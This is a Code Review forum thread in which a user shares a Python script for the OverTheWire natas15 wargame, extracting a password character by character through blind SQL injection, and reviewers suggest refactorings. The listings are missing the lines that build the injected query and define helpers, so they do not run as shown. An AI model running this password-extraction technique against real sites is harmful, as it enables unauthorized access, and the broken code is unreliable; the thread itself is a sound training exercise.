# natas15 blind SQL injection

I've been having fun with natas, a wargame, from overthewire.

This is another script I made to pass stage 15. I'm using Python with SQL injection to find the password for the next level.

I think the program is short, and easy to understand. But maybe I could have done a few things even better.

Any review is welcome!

import string
import requests

POSSIBLE_CHARS = string.ascii_letters + string.digits
URL = 'http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/'

def blind_sql():
correct_guess = b'This user exists.'

# Because all natas passwords were 32 char long
for i in range(32):
for char in POSSIBLE_CHARS:
if requests.get(sql).content.find(correct_guess) != -1:
break

if __name__ == '__main__':
if requests.get(URL).status_code == requests.codes.ok:
print(blind_sql())
else:
print('Authentication failed!')

• @Rcihard Neumann Because the password is 32 chars long (I know from previous challanges). So I need to find the next char in the pass 32 times. – Ludisposed Nov 9 '17 at 11:41

Your code is pretty good. It's as far as I'd go for a challenge, however since this is Code Review, I'd possibly do:

• As @Richard Neumann correctly points out your code is a little difficult to understand.

What is the for i in range(32): loop for? You never use i and it is not obvious why you repeat the subordinate for char in POSSIBLE_CHARS: loop 32 times.

If however you made a function called is_partial_password, then your loop would make much more sense.

• It's kinda uncommon to see bytes, or I'm not working in the correct field to see them. And so you may want to use requests.get(...).text. (This currently comes purely down to preference.)

• You don't have to use bytes.find, instead use in on either a str or bytes.
• You may prefer using next, rather than a for loop to add to the password. However, you may not.
• You may want to change blind_sql to get_password, with the appropriate parameters.

This can get:

import string
import requests

POSSIBLE_CHARS = string.ascii_letters + string.digits
URL = 'http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/'

return 'This user exists.' in r.text

for _ in range(length):

if __name__ == '__main__':
if requests.get(URL).status_code == requests.codes.ok:
else:
print('Authentication failed!')

• I'm still a bit hazy on requests I agree the find() is unnecessary, would be more explicit with the in keyword – Ludisposed Nov 9 '17 at 12:04
• @Ludisposed Thanks, it seems I changed it twice, :) If by "I'm still a bit hazy on requests" you mean the str vs. bytes part, that is purely down to choice, :) – Peilonrayz Nov 9 '17 at 12:08
• @Peillonrayz Yes that is what I meant, and I do like the strmore, because to my knowledge it is faster as find. I do however think my solution is faster, because I break after finding a correct char, while you keep iterating over the char_set untill the end – Ludisposed Nov 9 '17 at 12:56
• @Ludisposed My code and your code is roughly the same in terms of speed there, as next is running on a generator comprehension, so it stops at the first match. – Peilonrayz Nov 9 '17 at 12:59
• change for _ in range(length) in get_password to while len(password) < lengthcan be a bit faster (as I did this, actually just loop 24 times) – Aries_is_there Nov 10 '17 at 1:34

You code is well-written.
You may want to

• add a docstring to the function
• rename the loop variable i to _, since it is not being used.

You may also want to consider using itertools.repeat, which is said to be slightly faster than for _ in range(N).

• I haven't seen itertools.repeat being used like that. Very interesting stuff, but maybe trivial for something this short. – Ludisposed Nov 9 '17 at 11:59

A couple more possible performance improvements:

• initialize requests.Session() and re-use, this should save some time since on consecutive HTTP requests it would re-use an underlying TCP connection:

if you're making several requests to the same host, the underlying TCP connection will be reused, which can result in a significant performance increase

• you may also replace .get() with .head() for the initial request since you are checking the response status code only (not needing the body)